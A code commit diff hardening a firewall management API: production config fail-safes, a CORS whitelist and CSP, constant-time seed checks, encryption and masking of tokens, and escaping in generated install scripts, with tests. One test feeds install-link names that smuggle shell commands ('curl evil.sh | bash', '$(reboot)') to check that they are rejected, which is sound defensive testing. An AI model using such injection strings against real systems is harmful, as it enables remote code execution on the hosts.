fix(api): fail-safe прод-старт, транзакции и санитизация install-скриптов
- прод-режим отказывается стартовать без AUTH_REQUIRED и реальных секретов (opt-out через EVOFW_ALLOW_UNSAFE) - CORS: whitelist через CORS_ORIGINS вместо origin:true; CSP для раздаваемого SPA - транзакции для setAgentPolicySets, reorderPolicyRules, replaceResolvedForRule, replaceIpListEntries - install-скрипты: Zod-валидация имени ссылки, экранирование $ и контрольных символов в RouterOS-рендере - constant-time сравнение enroll-seed - опциональное шифрование токена EvoBGP в БД (EVOFW_SECRET_KEY, AES-256-GCM) и маскирование per-list api_token в ответах - graceful shutdown (SIGTERM/SIGINT) + тесты
This commit is contained in:
+20
-2
@@ -39,14 +39,32 @@ export async function buildApp(opts: BuildAppOptions = {}) {
|
||||
app.setSerializerCompiler(serializerCompiler)
|
||||
|
||||
await app.register(import('@fastify/sensible'))
|
||||
// CSP only guards the served SPA; in dev the Vite server proxies API
|
||||
// requests same-origin and injects its own HMR scripts.
|
||||
await app.register(import('@fastify/helmet'), {
|
||||
contentSecurityPolicy: false,
|
||||
contentSecurityPolicy:
|
||||
config.staticDir !== null
|
||||
? {
|
||||
directives: {
|
||||
defaultSrc: ["'self'"],
|
||||
scriptSrc: ["'self'"],
|
||||
styleSrc: ["'self'", "'unsafe-inline'"],
|
||||
imgSrc: ["'self'", 'data:'],
|
||||
fontSrc: ["'self'", 'data:'],
|
||||
// app-switcher talks to the auth portal directly from the browser
|
||||
connectSrc: ["'self'", config.authPortalUrl],
|
||||
objectSrc: ["'none'"],
|
||||
baseUri: ["'self'"],
|
||||
frameAncestors: ["'none'"],
|
||||
},
|
||||
}
|
||||
: false,
|
||||
})
|
||||
await app.register(import('@fastify/rate-limit'), {
|
||||
max: 300,
|
||||
timeWindow: '1 minute',
|
||||
})
|
||||
await app.register(corsPlugin)
|
||||
await app.register(corsPlugin, { config })
|
||||
await app.register(errorHandlerPlugin)
|
||||
await app.register(dbPlugin, { config, memory: opts.memory })
|
||||
await app.register(authPlugin, { config })
|
||||
|
||||
@@ -0,0 +1,74 @@
|
||||
import { describe, it, expect, afterEach } from 'vitest'
|
||||
import { loadConfig } from './config.js'
|
||||
|
||||
const SAVED: Record<string, string | undefined> = {}
|
||||
const KEYS = [
|
||||
'NODE_ENV',
|
||||
'AUTH_REQUIRED',
|
||||
'AUTH_JWT_SECRET',
|
||||
'JWT_SECRET',
|
||||
'EVOFW_ENROLL_SEED',
|
||||
'EVOFW_ALLOW_UNSAFE',
|
||||
]
|
||||
|
||||
afterEach(() => {
|
||||
for (const k of KEYS) {
|
||||
if (SAVED[k] === undefined) delete process.env[k]
|
||||
else process.env[k] = SAVED[k]
|
||||
}
|
||||
})
|
||||
|
||||
function setEnv(vars: Record<string, string | undefined>) {
|
||||
for (const [k, v] of Object.entries(vars)) {
|
||||
if (!(k in SAVED)) SAVED[k] = process.env[k]
|
||||
if (v === undefined) delete process.env[k]
|
||||
else process.env[k] = v
|
||||
}
|
||||
}
|
||||
|
||||
describe('loadConfig production fail-safe', () => {
|
||||
it('refuses insecure defaults in production', () => {
|
||||
setEnv({
|
||||
NODE_ENV: 'production',
|
||||
AUTH_REQUIRED: undefined,
|
||||
AUTH_JWT_SECRET: undefined,
|
||||
JWT_SECRET: undefined,
|
||||
EVOFW_ENROLL_SEED: undefined,
|
||||
EVOFW_ALLOW_UNSAFE: undefined,
|
||||
})
|
||||
expect(() => loadConfig()).toThrow(/AUTH_REQUIRED/)
|
||||
|
||||
setEnv({ AUTH_REQUIRED: 'true' })
|
||||
expect(() => loadConfig()).toThrow(/AUTH_JWT_SECRET/)
|
||||
|
||||
setEnv({ AUTH_JWT_SECRET: 'short' })
|
||||
expect(() => loadConfig()).toThrow(/real secret/)
|
||||
|
||||
setEnv({ AUTH_JWT_SECRET: 'a-real-production-secret' })
|
||||
expect(() => loadConfig()).toThrow(/EVOFW_ENROLL_SEED/)
|
||||
})
|
||||
|
||||
it('starts with explicit opt-out or full production config', () => {
|
||||
setEnv({ EVOFW_ALLOW_UNSAFE: 'true' })
|
||||
expect(() => loadConfig()).not.toThrow()
|
||||
|
||||
setEnv({
|
||||
EVOFW_ALLOW_UNSAFE: undefined,
|
||||
EVOFW_ENROLL_SEED: 'real-seed',
|
||||
})
|
||||
expect(() => loadConfig()).not.toThrow()
|
||||
})
|
||||
|
||||
it('dev keeps permissive defaults', () => {
|
||||
setEnv({
|
||||
NODE_ENV: undefined,
|
||||
AUTH_REQUIRED: undefined,
|
||||
AUTH_JWT_SECRET: undefined,
|
||||
EVOFW_ENROLL_SEED: undefined,
|
||||
EVOFW_ALLOW_UNSAFE: undefined,
|
||||
})
|
||||
const config = loadConfig()
|
||||
expect(config.authRequired).toBe(false)
|
||||
expect(config.corsOrigins).toEqual([])
|
||||
})
|
||||
})
|
||||
+39
-4
@@ -13,6 +13,8 @@ export interface AppConfig {
|
||||
authAuditIngestSecret: string | null
|
||||
publicBaseUrl: string
|
||||
enrollSeed: string
|
||||
corsOrigins: string[]
|
||||
secretKey: string | null
|
||||
}
|
||||
|
||||
function boolEnv(v: string | undefined, fallback: boolean): boolean {
|
||||
@@ -20,16 +22,19 @@ function boolEnv(v: string | undefined, fallback: boolean): boolean {
|
||||
return v === '1' || v.toLowerCase() === 'true'
|
||||
}
|
||||
|
||||
const DEV_JWT_SECRET = 'dev-secret-change-me'
|
||||
const DEV_ENROLL_SEED = 'dev-enroll-seed-change-me'
|
||||
|
||||
export function loadConfig(): AppConfig {
|
||||
const isProd = process.env.NODE_ENV === 'production'
|
||||
const jwtSecret =
|
||||
process.env.AUTH_JWT_SECRET ??
|
||||
process.env.JWT_SECRET ??
|
||||
(isProd ? '' : 'dev-secret-change-me')
|
||||
(isProd ? '' : DEV_JWT_SECRET)
|
||||
|
||||
return {
|
||||
const config: AppConfig = {
|
||||
databaseUrl: process.env.DATABASE_URL ?? 'sqlite:data/app.db',
|
||||
jwtSecret: jwtSecret || 'dev-secret-change-me',
|
||||
jwtSecret: jwtSecret || DEV_JWT_SECRET,
|
||||
jwtTtlHours: Number(process.env.JWT_TTL_HOURS ?? '24') || 24,
|
||||
serverPort: Number(process.env.SERVER_PORT ?? '8080') || 8080,
|
||||
staticDir: process.env.STATIC_DIR
|
||||
@@ -54,6 +59,36 @@ export function loadConfig(): AppConfig {
|
||||
enrollSeed:
|
||||
process.env.EVOFW_ENROLL_SEED ??
|
||||
process.env.BUNDLE_SEED_HEX ??
|
||||
'dev-enroll-seed-change-me',
|
||||
DEV_ENROLL_SEED,
|
||||
corsOrigins: (process.env.CORS_ORIGINS ?? '')
|
||||
.split(',')
|
||||
.map((s) => s.trim().replace(/\/$/, ''))
|
||||
.filter(Boolean),
|
||||
secretKey: process.env.EVOFW_SECRET_KEY?.trim() || null,
|
||||
}
|
||||
|
||||
// Fail-safe: a production process must not start wide open or with
|
||||
// well-known dev credentials. EVOFW_ALLOW_UNSAFE=true is the explicit
|
||||
// opt-out for isolated/lab deployments.
|
||||
if (isProd && !boolEnv(process.env.EVOFW_ALLOW_UNSAFE, false)) {
|
||||
const problems: string[] = []
|
||||
if (!config.authRequired) {
|
||||
problems.push('AUTH_REQUIRED must be true (or set EVOFW_ALLOW_UNSAFE=true)')
|
||||
}
|
||||
if (!process.env.AUTH_JWT_SECRET && !process.env.JWT_SECRET) {
|
||||
problems.push('AUTH_JWT_SECRET is not set')
|
||||
} else if (config.jwtSecret === DEV_JWT_SECRET || config.jwtSecret.length < 8) {
|
||||
problems.push('AUTH_JWT_SECRET must be a real secret (>= 8 chars)')
|
||||
}
|
||||
if (config.enrollSeed === DEV_ENROLL_SEED) {
|
||||
problems.push('EVOFW_ENROLL_SEED is not set')
|
||||
}
|
||||
if (problems.length > 0) {
|
||||
throw new Error(
|
||||
`Refusing to start in production with insecure config:\n - ${problems.join('\n - ')}`,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
return config
|
||||
}
|
||||
|
||||
@@ -1,8 +1,21 @@
|
||||
import type { FastifyInstance } from 'fastify'
|
||||
import fp from 'fastify-plugin'
|
||||
import type { AppConfig } from '../config.js'
|
||||
|
||||
async function corsPlugin(app: FastifyInstance) {
|
||||
await app.register(import('@fastify/cors'), { origin: true })
|
||||
async function corsPlugin(app: FastifyInstance, opts: { config: AppConfig }) {
|
||||
const allowed = opts.config.corsOrigins
|
||||
await app.register(import('@fastify/cors'), {
|
||||
// The SPA is served same-origin (or via the Vite dev proxy), so by
|
||||
// default only non-CORS (same-origin/server-side) requests pass.
|
||||
// CORS_ORIGINS opens specific origins explicitly.
|
||||
origin: (origin, cb) => {
|
||||
if (!origin || allowed.includes(origin.replace(/\/$/, ''))) {
|
||||
cb(null, true)
|
||||
} else {
|
||||
cb(null, false)
|
||||
}
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
export default fp(corsPlugin, { name: 'cors' })
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { createHash } from 'node:crypto'
|
||||
import { createHash, timingSafeEqual } from 'node:crypto'
|
||||
import { join } from 'node:path'
|
||||
import type { FastifyPluginAsync } from 'fastify'
|
||||
import { repos } from '@evofw/db'
|
||||
@@ -18,6 +18,14 @@ import {
|
||||
|
||||
const scriptsDir = resolveAgentScriptsDir()
|
||||
|
||||
/** Constant-time seed check; hash first so lengths always match. */
|
||||
function seedMatches(presented: string | undefined, expected: string): boolean {
|
||||
if (!presented) return false
|
||||
const a = createHash('sha256').update(presented).digest()
|
||||
const b = createHash('sha256').update(expected).digest()
|
||||
return timingSafeEqual(a, b)
|
||||
}
|
||||
|
||||
function sanitizeHostFirewall(raw: {
|
||||
rules?: unknown[]
|
||||
listeners?: unknown[]
|
||||
@@ -92,7 +100,7 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
const seed = req.headers['x-evofw-seed']
|
||||
const expected =
|
||||
repos.getSetting(app.db, 'enroll_seed') || config.enrollSeed
|
||||
if (!seed || String(seed) !== expected) {
|
||||
if (!seedMatches(String(seed ?? ''), expected)) {
|
||||
throw new AppError('UNAUTHORIZED', 'Invalid enroll seed', 401)
|
||||
}
|
||||
const body = enrollBodySchema.parse(req.body)
|
||||
|
||||
@@ -15,6 +15,7 @@ import {
|
||||
} from '../services/lists/entries.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { auditMutation } from '../services/audit.js'
|
||||
import { maskListConfig, sealListConfig } from '../services/secret-cipher.js'
|
||||
|
||||
export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -32,7 +33,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
id: l.id,
|
||||
name: l.name,
|
||||
type: l.type,
|
||||
config_json: l.configJson,
|
||||
config_json: maskListConfig(l.configJson),
|
||||
content_hash: l.contentHash,
|
||||
refreshed_at: l.refreshedAt,
|
||||
last_error: l.lastError,
|
||||
@@ -52,7 +53,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
id,
|
||||
name: body.name,
|
||||
type,
|
||||
configJson: JSON.stringify(body.config ?? {}),
|
||||
configJson: sealListConfig({ ...(body.config ?? {}) }),
|
||||
createdAt: new Date().toISOString(),
|
||||
updatedAt: new Date().toISOString(),
|
||||
})
|
||||
@@ -81,7 +82,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
id: list!.id,
|
||||
name: list!.name,
|
||||
type: list!.type,
|
||||
config_json: list!.configJson,
|
||||
config_json: maskListConfig(list!.configJson),
|
||||
created_at: list!.createdAt,
|
||||
updated_at: list!.updatedAt,
|
||||
}
|
||||
|
||||
@@ -2,6 +2,7 @@ import type { FastifyPluginAsync } from 'fastify'
|
||||
import { repos } from '@evofw/db'
|
||||
import { putSettingsBodySchema } from '@evofw/shared'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { encryptSecret } from '../services/secret-cipher.js'
|
||||
|
||||
export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -27,7 +28,11 @@ export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
const body = putSettingsBodySchema.parse(req.body)
|
||||
for (const [k, v] of Object.entries(body)) {
|
||||
if (k === 'evobgp_api_token' && v === '********') continue
|
||||
repos.setSetting(app.db, k, v)
|
||||
repos.setSetting(
|
||||
app.db,
|
||||
k,
|
||||
k === 'evobgp_api_token' ? encryptSecret(v) : v,
|
||||
)
|
||||
}
|
||||
return { ok: true }
|
||||
})
|
||||
|
||||
@@ -38,3 +38,17 @@ try {
|
||||
app.log.error(err)
|
||||
process.exit(1)
|
||||
}
|
||||
|
||||
// Drain in-flight requests and close SQLite on docker stop / SIGINT.
|
||||
for (const signal of ['SIGINT', 'SIGTERM'] as const) {
|
||||
process.on(signal, () => {
|
||||
app.log.info(`${signal} received, shutting down`)
|
||||
app
|
||||
.close()
|
||||
.then(() => process.exit(0))
|
||||
.catch((err) => {
|
||||
app.log.error(err, 'error during shutdown')
|
||||
process.exit(1)
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
secretKey: null,
|
||||
}
|
||||
|
||||
describe('agents CRUD critical paths', () => {
|
||||
|
||||
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
secretKey: null,
|
||||
}
|
||||
|
||||
describe('install-links', () => {
|
||||
@@ -112,6 +114,55 @@ describe('install-links', () => {
|
||||
expect(row?.status).toBe('pending')
|
||||
})
|
||||
|
||||
it('rejects install link names with unsafe characters', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const bad = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' },
|
||||
})
|
||||
expect(bad.statusCode).toBe(400)
|
||||
|
||||
const quotes = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: "name'$(reboot)", platform: 'linux' },
|
||||
})
|
||||
expect(quotes.statusCode).toBe(400)
|
||||
})
|
||||
|
||||
it('masks per-list api_token in list responses', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/lists',
|
||||
payload: {
|
||||
name: 'evobgp-masked',
|
||||
type: 'evobgp_community',
|
||||
config: {
|
||||
api_url: 'https://bgp.example.com',
|
||||
api_token: 'super-secret-token',
|
||||
community_id: '',
|
||||
},
|
||||
},
|
||||
})
|
||||
expect(created.statusCode).toBe(200)
|
||||
const body = created.json() as { config_json: string }
|
||||
expect(body.config_json).not.toContain('super-secret-token')
|
||||
expect(body.config_json).toContain('********')
|
||||
|
||||
const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' })
|
||||
const items = (lists.json() as { items: { config_json: string }[] }).items
|
||||
expect(
|
||||
items.some((l) => l.config_json.includes('super-secret-token')),
|
||||
).toBe(false)
|
||||
expect(items.some((l) => l.config_json.includes('********'))).toBe(true)
|
||||
})
|
||||
|
||||
it('mikrotik install link serves RSC and fetch/import one-liner', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
@@ -105,8 +105,18 @@ function loadMikrotikInstallRsc(): string {
|
||||
return readFileSync(join(scriptsDir, 'mikrotik-install.rsc'), 'utf-8')
|
||||
}
|
||||
|
||||
/** Strip control characters that have no business inside generated scripts. */
|
||||
function stripControlChars(s: string): string {
|
||||
// eslint-disable-next-line no-control-regex
|
||||
return s.replace(/[\x00-\x1f\x7f]/g, '')
|
||||
}
|
||||
|
||||
function escapeRosString(s: string): string {
|
||||
return s.replace(/\\/g, '\\\\').replace(/"/g, '\\"')
|
||||
// RouterOS interpolates $var and substitutes $(cmd) inside double quotes.
|
||||
return stripControlChars(s)
|
||||
.replace(/\\/g, '\\\\')
|
||||
.replace(/"/g, '\\"')
|
||||
.replace(/\$/g, '\\$')
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -119,8 +129,8 @@ export function renderInstallScript(opts: {
|
||||
platform: string
|
||||
installLinkId: string
|
||||
}): string {
|
||||
const cp = opts.cpUrl.replace(/\/$/, '')
|
||||
const escape = (s: string) => s.replace(/'/g, `'\\''`)
|
||||
const cp = stripControlChars(opts.cpUrl.replace(/\/$/, ''))
|
||||
const escape = (s: string) => stripControlChars(s).replace(/'/g, `'\\''`)
|
||||
const header = [
|
||||
'#!/usr/bin/env bash',
|
||||
'# EvoFirewall short install link — env pre-set',
|
||||
|
||||
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
secretKey: null,
|
||||
}
|
||||
|
||||
async function enrollApprovedLinux(
|
||||
|
||||
@@ -12,6 +12,7 @@ import {
|
||||
} from '@evofw/shared'
|
||||
import { resolveHostnameToCidrs } from '../policy/resolve-hostname.js'
|
||||
import { uniqCidrs } from '../uniq.js'
|
||||
import { maskListConfig } from '../secret-cipher.js'
|
||||
|
||||
export function getListConfig(list: {
|
||||
configJson: string
|
||||
@@ -324,7 +325,7 @@ export function mapListDetail(db: Db, listId: string) {
|
||||
id: l.id,
|
||||
name: l.name,
|
||||
type: l.type,
|
||||
config_json: l.configJson,
|
||||
config_json: maskListConfig(l.configJson),
|
||||
content_hash: l.contentHash,
|
||||
refreshed_at: l.refreshedAt,
|
||||
last_error: l.lastError,
|
||||
|
||||
@@ -8,6 +8,7 @@ import {
|
||||
rebuildManualListEntries,
|
||||
} from './entries.js'
|
||||
import { uniqCidrs } from '../uniq.js'
|
||||
import { decryptSecret } from '../secret-cipher.js'
|
||||
|
||||
function hashCidrs(cidrs: string[]): string {
|
||||
return `sha256:${createHash('sha256').update(cidrs.join('\n')).digest('hex')}`
|
||||
@@ -139,10 +140,12 @@ export async function refreshIpList(db: Db, listId: string): Promise<void> {
|
||||
repos.replaceIpListEntries(db, listId, cidrs)
|
||||
} else if (list.type === 'evobgp_community') {
|
||||
const apiUrl =
|
||||
String(config.api_url ?? '') || repos.getSetting(db, 'evobgp_api_url')
|
||||
String(config.api_url ?? '') ||
|
||||
repos.getSetting(db, 'evobgp_api_url') ||
|
||||
''
|
||||
const token =
|
||||
String(config.api_token ?? '') ||
|
||||
repos.getSetting(db, 'evobgp_api_token')
|
||||
decryptSecret(String(config.api_token ?? '') || null) ??
|
||||
decryptSecret(repos.getSetting(db, 'evobgp_api_token'))
|
||||
const communityId = String(config.community_id ?? '')
|
||||
if (!apiUrl || !token || !communityId) {
|
||||
throw new Error('evobgp_api_url, token and community_id required')
|
||||
|
||||
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
secretKey: null,
|
||||
}
|
||||
|
||||
async function createAgent(
|
||||
|
||||
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
secretKey: null,
|
||||
}
|
||||
|
||||
async function enrollApprovedLinux(
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
import { describe, it, expect, afterEach } from 'vitest'
|
||||
import {
|
||||
encryptSecret,
|
||||
decryptSecret,
|
||||
isEncryptedSecret,
|
||||
sealListConfig,
|
||||
maskListConfig,
|
||||
} from './secret-cipher.js'
|
||||
|
||||
const ORIGINAL_KEY = process.env.EVOFW_SECRET_KEY
|
||||
|
||||
afterEach(() => {
|
||||
if (ORIGINAL_KEY === undefined) delete process.env.EVOFW_SECRET_KEY
|
||||
else process.env.EVOFW_SECRET_KEY = ORIGINAL_KEY
|
||||
})
|
||||
|
||||
describe('secret-cipher', () => {
|
||||
it('passes values through when no key is configured', () => {
|
||||
delete process.env.EVOFW_SECRET_KEY
|
||||
expect(encryptSecret('plain')).toBe('plain')
|
||||
expect(decryptSecret('plain')).toBe('plain')
|
||||
expect(isEncryptedSecret('plain')).toBe(false)
|
||||
})
|
||||
|
||||
it('encrypts and decrypts when EVOFW_SECRET_KEY is set', () => {
|
||||
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||
const enc = encryptSecret('super-secret-token')
|
||||
expect(enc).not.toContain('super-secret-token')
|
||||
expect(enc.startsWith('enc:v1:')).toBe(true)
|
||||
expect(decryptSecret(enc)).toBe('super-secret-token')
|
||||
// already-encrypted values are not double-encrypted
|
||||
expect(encryptSecret(enc)).toBe(enc)
|
||||
})
|
||||
|
||||
it('returns null for encrypted values when the key is missing or wrong', () => {
|
||||
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||
const enc = encryptSecret('super-secret-token')
|
||||
delete process.env.EVOFW_SECRET_KEY
|
||||
expect(decryptSecret(enc)).toBeNull()
|
||||
process.env.EVOFW_SECRET_KEY = 'other-key-other-key-other-key!'
|
||||
expect(decryptSecret(enc)).toBeNull()
|
||||
})
|
||||
|
||||
it('seals and masks list config api_token', () => {
|
||||
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||
const sealed = sealListConfig({
|
||||
api_url: 'https://bgp.example.com',
|
||||
api_token: 'super-secret-token',
|
||||
community_id: 'abc',
|
||||
})
|
||||
expect(sealed).not.toContain('super-secret-token')
|
||||
const parsed = JSON.parse(sealed) as { api_token: string }
|
||||
expect(decryptSecret(parsed.api_token)).toBe('super-secret-token')
|
||||
|
||||
const masked = maskListConfig(sealed)
|
||||
expect(masked).toContain('********')
|
||||
expect(masked).not.toContain('enc:v1:')
|
||||
|
||||
// configs without tokens pass through untouched
|
||||
expect(maskListConfig('{"api_url":"https://x"}')).toBe(
|
||||
'{"api_url":"https://x"}',
|
||||
)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,86 @@
|
||||
import {
|
||||
createCipheriv,
|
||||
createDecipheriv,
|
||||
randomBytes,
|
||||
scryptSync,
|
||||
} from 'node:crypto'
|
||||
|
||||
/**
|
||||
* Optional at-rest encryption for secrets stored in the DB (EvoBGP API
|
||||
* token). Active only when EVOFW_SECRET_KEY is set; without it values are
|
||||
* stored as before (plaintext) so existing deployments keep working.
|
||||
*
|
||||
* Format: enc:v1:<saltB64>:<ivB64>:<tagB64>:<dataB64>, AES-256-GCM with a
|
||||
* scrypt-derived per-value key.
|
||||
*/
|
||||
|
||||
const PREFIX = 'enc:v1:'
|
||||
|
||||
function deriveKey(secret: string, salt: Buffer): Buffer {
|
||||
return scryptSync(secret, salt, 32)
|
||||
}
|
||||
|
||||
export function isEncryptedSecret(value: string): boolean {
|
||||
return value.startsWith(PREFIX)
|
||||
}
|
||||
|
||||
export function encryptSecret(value: string): string {
|
||||
const secret = process.env.EVOFW_SECRET_KEY?.trim()
|
||||
if (!secret || !value || isEncryptedSecret(value)) return value
|
||||
const salt = randomBytes(16)
|
||||
const iv = randomBytes(12)
|
||||
const cipher = createCipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
|
||||
const data = Buffer.concat([cipher.update(value, 'utf8'), cipher.final()])
|
||||
const tag = cipher.getAuthTag()
|
||||
const payload = [salt, iv, tag, data]
|
||||
.map((b) => b.toString('base64'))
|
||||
.join(':')
|
||||
return `${PREFIX}${payload}`
|
||||
}
|
||||
|
||||
/**
|
||||
* Decrypt an encrypted secret; returns plaintext secrets untouched. Returns
|
||||
* null for encrypted values that cannot be decrypted (key missing/rotated)
|
||||
* so callers can treat the secret as unset instead of sending garbage.
|
||||
*/
|
||||
export function decryptSecret(value: string | null | undefined): string | null {
|
||||
if (!value) return null
|
||||
if (!isEncryptedSecret(value)) return value
|
||||
const secret = process.env.EVOFW_SECRET_KEY?.trim()
|
||||
if (!secret) return null
|
||||
const parts = value.split(':')
|
||||
if (parts.length !== 6) return null
|
||||
try {
|
||||
const salt = Buffer.from(parts[2]!, 'base64')
|
||||
const iv = Buffer.from(parts[3]!, 'base64')
|
||||
const tag = Buffer.from(parts[4]!, 'base64')
|
||||
const data = Buffer.from(parts[5]!, 'base64')
|
||||
const decipher = createDecipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
|
||||
decipher.setAuthTag(tag)
|
||||
return Buffer.concat([decipher.update(data), decipher.final()]).toString('utf8')
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
/** Encrypt secrets inside a list config before persisting it. */
|
||||
export function sealListConfig(config: Record<string, unknown>): string {
|
||||
if (typeof config.api_token === 'string' && config.api_token) {
|
||||
config = { ...config, api_token: encryptSecret(config.api_token) }
|
||||
}
|
||||
return JSON.stringify(config)
|
||||
}
|
||||
|
||||
/** Mask secrets inside a list config before returning it to clients. */
|
||||
export function maskListConfig(configJson: string): string {
|
||||
if (!configJson.includes('api_token')) return configJson
|
||||
try {
|
||||
const config = JSON.parse(configJson) as Record<string, unknown>
|
||||
if (typeof config.api_token === 'string' && config.api_token) {
|
||||
config.api_token = '********'
|
||||
}
|
||||
return JSON.stringify(config)
|
||||
} catch {
|
||||
return configJson
|
||||
}
|
||||
}
|
||||
@@ -15,6 +15,8 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
secretKey: null,
|
||||
}
|
||||
|
||||
describe('settings + bumpAgentsForList', () => {
|
||||
|
||||
Reference in New Issue
Block a user